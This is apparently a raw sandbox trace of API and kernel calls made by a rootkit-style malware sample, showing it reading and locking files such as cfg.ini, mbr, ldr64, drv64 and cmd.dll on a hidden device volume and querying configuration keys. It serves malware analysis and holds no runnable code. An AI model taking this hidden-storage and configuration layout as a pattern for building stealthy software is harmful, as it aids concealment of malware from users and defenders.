ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.054] KeLeaveCriticalRegion () [0124.054] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.054] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.054] KeEnterCriticalRegion () [0124.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.054] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d2000 [0124.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.054] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.054] IdePortDispatch () returned 0x103 [0124.055] KeWaitForMutexObject () returned 0x0 [0124.055] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.055] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.055] IdePortDispatch () returned 0x103 [0124.055] KeWaitForMutexObject () returned 0x0 [0124.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.055] KeLeaveCriticalRegion () [0124.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.056] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.056] KeEnterCriticalRegion () [0124.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.056] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.056] KeLeaveCriticalRegion () [0124.056] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.056] KeEnterCriticalRegion () [0124.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.056] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.056] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.056] KeLeaveCriticalRegion () [0124.056] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.056] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.056] KeEnterCriticalRegion () [0124.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.056] ExFreePoolWithTag (P=0xfffffa8003befaf0, Tag=0x0) [0124.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.056] KeLeaveCriticalRegion () [0124.056] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.056] ReleaseMutex (hMutex=0xf0) returned 1 [0124.056] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.056] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.056] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.056] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.056] KeEnterCriticalRegion () [0124.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.057] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.057] IdePortDispatch () returned 0x103 [0124.057] KeWaitForMutexObject () returned 0x0 [0124.057] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.057] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.057] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.057] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.057] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.057] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.057] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.057] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.057] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.057] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.057] KeLeaveCriticalRegion () [0124.057] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.057] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.057] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.057] KeEnterCriticalRegion () [0124.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.057] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.057] IdePortDispatch () returned 0x103 [0124.058] KeWaitForMutexObject () returned 0x0 [0124.058] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.058] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.058] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.058] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.058] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.058] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.058] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.058] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.058] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.058] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.058] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.058] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.058] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.058] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.058] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.058] KeLeaveCriticalRegion () [0124.058] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.058] ReleaseMutex (hMutex=0x100) returned 1 [0124.058] Sleep (dwMilliseconds=0x2bf20) [0124.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d252f30, dwHighDateTime=0x1d24fa4)) [0124.067] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.067] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.067] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.067] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.067] KeEnterCriticalRegion () [0124.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.067] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.067] IdePortDispatch () returned 0x103 [0124.067] KeWaitForMutexObject () returned 0x0 [0124.068] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.068] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.068] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.068] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.068] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.068] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be24b0 [0124.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.068] KeLeaveCriticalRegion () [0124.068] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.068] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.068] KeEnterCriticalRegion () [0124.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.068] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.068] KeLeaveCriticalRegion () [0124.068] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.068] KeEnterCriticalRegion () [0124.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.068] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.068] IdePortDispatch () returned 0x103 [0124.068] KeWaitForMutexObject () returned 0x0 [0124.068] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.068] KeLeaveCriticalRegion () [0124.068] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.069] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.069] KeEnterCriticalRegion () [0124.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.069] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d5000 [0124.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.069] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.069] IdePortDispatch () returned 0x103 [0124.069] KeWaitForMutexObject () returned 0x0 [0124.069] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.069] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.069] IdePortDispatch () returned 0x103 [0124.070] KeWaitForMutexObject () returned 0x0 [0124.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.070] KeLeaveCriticalRegion () [0124.070] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.070] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.071] KeEnterCriticalRegion () [0124.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.071] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.071] KeLeaveCriticalRegion () [0124.071] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.071] KeEnterCriticalRegion () [0124.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.071] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.071] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.071] KeLeaveCriticalRegion () [0124.071] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.071] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.071] KeEnterCriticalRegion () [0124.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.071] ExFreePoolWithTag (P=0xfffffa8003be24b0, Tag=0x0) [0124.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.071] KeLeaveCriticalRegion () [0124.071] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.071] ReleaseMutex (hMutex=0xf0) returned 1 [0124.071] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.071] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.071] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.071] KeEnterCriticalRegion () [0124.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.071] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.071] IdePortDispatch () returned 0x103 [0124.071] KeWaitForMutexObject () returned 0x0 [0124.072] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.072] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.072] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.072] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.072] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.072] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2660 [0124.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.072] KeLeaveCriticalRegion () [0124.072] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.072] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.072] KeEnterCriticalRegion () [0124.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.072] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.072] KeLeaveCriticalRegion () [0124.072] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.072] KeEnterCriticalRegion () [0124.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.072] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.072] IdePortDispatch () returned 0x103 [0124.072] KeWaitForMutexObject () returned 0x0 [0124.073] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.073] KeLeaveCriticalRegion () [0124.073] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.073] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.073] KeEnterCriticalRegion () [0124.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d6000 [0124.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.073] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.073] IdePortDispatch () returned 0x103 [0124.073] KeWaitForMutexObject () returned 0x0 [0124.073] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.073] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.073] IdePortDispatch () returned 0x103 [0124.073] KeWaitForMutexObject () returned 0x0 [0124.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.074] KeLeaveCriticalRegion () [0124.074] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.074] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.074] KeEnterCriticalRegion () [0124.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.074] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.074] KeLeaveCriticalRegion () [0124.074] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.074] KeEnterCriticalRegion () [0124.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.074] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.074] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.074] KeLeaveCriticalRegion () [0124.074] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.075] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.075] KeEnterCriticalRegion () [0124.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.075] ExFreePoolWithTag (P=0xfffffa8003be2660, Tag=0x0) [0124.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.075] KeLeaveCriticalRegion () [0124.075] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.075] ReleaseMutex (hMutex=0xf0) returned 1 [0124.075] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.075] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.075] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.075] KeEnterCriticalRegion () [0124.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 